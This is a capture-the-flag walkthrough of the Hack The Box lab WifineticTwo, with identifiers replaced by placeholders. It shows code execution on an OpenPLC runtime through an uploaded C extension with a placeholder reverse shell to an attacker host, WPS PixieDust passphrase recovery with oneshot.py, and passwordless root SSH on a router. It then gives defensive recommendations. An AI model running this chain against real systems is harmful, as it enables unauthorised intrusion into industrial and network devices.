WifineticTwo — OpenPLC RCE and WPS PixieDust Pivot

At a glance

Field	Value
Difficulty	Medium
Target environment	Linux OpenPLC runtime container with a wireless interface, plus an adjacent wireless router
Starting position	Unauthenticated network access
Objective	Move from a default-credential OpenPLC runtime to container root, then pivot across the wireless segment with WPS credential recovery to the adjacent router
Outcome	Root execution in the PLC container; WPA2 credential recovery and association with the wireless AP; passwordless root SSH on the router

Summary

WifineticTwo is a Medium Linux Hack The Box lab that combines industrial-control application abuse with a wireless pivot. An OpenPLC runtime reachable with its default credentials accepts an uploaded Structured Text program whose C extension is compiled and executed by the PLC runtime, yielding a root shell inside a container that carries a wireless interface. A WPS PixieDust attack against a nearby access point recovers the WPA2 passphrase, and association with that network exposes a router whose SSH service accepts a passwordless root login. Target identifiers, credentials, and secret values are replaced with role-based placeholders; the reverse-shell payload is shown as a placeholder pattern only.

Attack path: Default-credential OpenPLC runtime → Structured Text C-extension execution → container root → wireless AP discovery → WPS PixieDust credential recovery → WPA2 association → passwordless root SSH on the router

Context and Objective

• Target: Linux host exposing SSH (22) and a web-facing OpenPLC runtime (8080).
• Starting position: unauthenticated network access, no provided credentials.
• Objective: assess the path from the exposed industrial-control interface to the adjacent wireless segment and the router.
• Constraints: activity was confined to the Hack The Box lab environment.

Approach and Evidence

Service enumeration

Observation: a full TCP scan exposes SSH and an HTTP proxy service.

nmap -sC -sV -p- --min-rate 5000 -oA nmap/wifinetictwo <TARGET_IP>

22/tcp   open  ssh          OpenSSH 8.2p1 Ubuntu
8080/tcp open  http-proxy   HAProxy / Werkzeug 1.0.1 Python/2.7.18

Significance: port 8080 serves the OpenPLC runtime web interface, providing the application surface evaluated next.

Result: the scan identifies SSH and the OpenPLC web interface on the target.

OpenPLC program execution

Observation: the OpenPLC runtime is reachable with its default credentials, and its Structured Text format supports C extensions through custom output functions. The source records that those defaults granted access to the runtime.

Action: a Structured Text program containing a C extension was uploaded through Programs → Upload Program, then compiled and started through Dashboard → Start PLC. The payload is summarized as a placeholder pattern rather than reproduced.

<ST_PROGRAM_WITH_C_EXTENSION>   # reverse shell to <ATTACKER_HOST>:<LISTEN_PORT>

nc -lvnp <LISTEN_PORT>

root@<CONTAINER_HOST>:~#

Significance: compiling and running an extension in a privileged runtime turns application-level program upload into operating-system command execution.

Result: the listener returns a root shell inside the container.

Wireless interface discovery

Observation: the container exposes a managed wireless interface, and scanning finds a nearby access point with WPS enabled.

Action: the interface and nearby wireless capabilities were inspected.

iw dev
iw dev <WIRELESS_INTERFACE> scan | grep -E "^BSS|SSID|WPS"

Interface <WIRELESS_INTERFACE>
  type managed
BSS <AP_MAC_ADDRESS>
SSID: <WIRELESS_SSID>
WPS: ...

Significance: WPS availability creates a separate authentication path to the adjacent wireless network.

Result: a WPS-enabled access point is discoverable from the container.

WPS credential recovery

Observation: the discovered access point exposes WPS.

Action: a PixieDust-capable WPS tool was run against the access point.

python3 oneshot.py -b <AP_MAC_ADDRESS> -i <WIRELESS_INTERFACE> -K

[+] WPS PIN: '<WPS_PIN>'
[+] WPA PSK: '<WPA2_PASSPHRASE>'
[+] AP SSID: '<WIRELESS_SSID>'

Significance: PixieDust targets access points that use predictable WPS E-S1/E-S2 nonces, allowing near-instant recovery of the WPA2 passphrase where the implementation is vulnerable.

Result: a WPS PIN and the WPA2 passphrase are recovered.

Wireless association

Observation: the recovered WPA2 passphrase allows association with the wireless network and a DHCP lease.

Action: a supplicant configuration was created, the container associated with the access point, and a lease was requested.

wpa_supplicant -B -i <WIRELESS_INTERFACE> -c <WPA_CONFIG>
dhclient <WIRELESS_INTERFACE>
ip addr show <WIRELESS_INTERFACE>

inet <DHCP_LEASE>

Significance: association crosses the container boundary onto the wireless segment, placing the adjacent network in reach.

Result: the interface receives a DHCP lease on the wireless network.

Router access

Observation: the wireless network exposes a reachable gateway, and SSH is one of its open services.

Action: the gateway was identified by ARP, its services confirmed, and SSH was attempted with the root account.

arp -a
nmap <ROUTER_GATEWAY>
ssh <ROUTER_ROOT_ACCOUNT>@<ROUTER_GATEWAY>

? (<ROUTER_GATEWAY>) at <AP_MAC_ADDRESS>
22/tcp  open  ssh
root@<ROUTER_ROOT_PROMPT>:~#

Significance: the gateway accepts a root SSH login without a password, so reaching the wireless segment is enough to obtain administrative control of the router without any credential.

Result: an unauthenticated root shell is obtained on the router.

Challenges and Decisions

• The source documents no failed attempts or alternative paths.
• WPS PixieDust. Predictable WPS E-S1/E-S2 nonces allow near-instant recovery of the WPA2 passphrase, in contrast to online WPS PIN brute force.

Outcome

The evidence establishes root code execution inside the OpenPLC container, recovery of the WPA2 wireless credential through a WPS PixieDust attack, and a passwordless root SSH session on the adjacent router. No step beyond the lab was validated.

Lessons and Recommendations

The actions below are recommendations; none was validated in the lab.

1. Default ICS credentials. The OpenPLC runtime accepted its default credentials and compiled an uploaded program that ran with root privileges. Recommendation: remove default credentials on every ICS/OT management interface and restrict runtime program-upload and execution privileges to authorized operators. Detection: alert on logins with default or shared accounts and on program uploads to the PLC runtime.
2. WPS enabled on the access point. WPS exposed a second authentication path whose predictable nonces yielded the WPA2 passphrase. Recommendation: disable WPS on all access points and verify it is off (iw dev <WIRELESS_INTERFACE> scan | grep WPS). Detection: periodically scan for access points advertising WPS.
3. Passwordless root SSH on the router. The router accepted a root SSH login without a password, making network placement alone sufficient for administrative control. Recommendation: disable passwordless and default root logins, and require named accounts with key-based or strong password authentication. Detection: audit device configurations and authentication logs for root or blank-credential SSH logins.

References

• Hack The Box — WifineticTwo (retired machine)
• OpenPLC project documentation (runtime and program upload)
• OneShot (WPS PixieDust tooling)
• wpa_supplicant (wireless supplicant used for association)
• iw (wireless interface and scan configuration)
• Nmap Reference Guide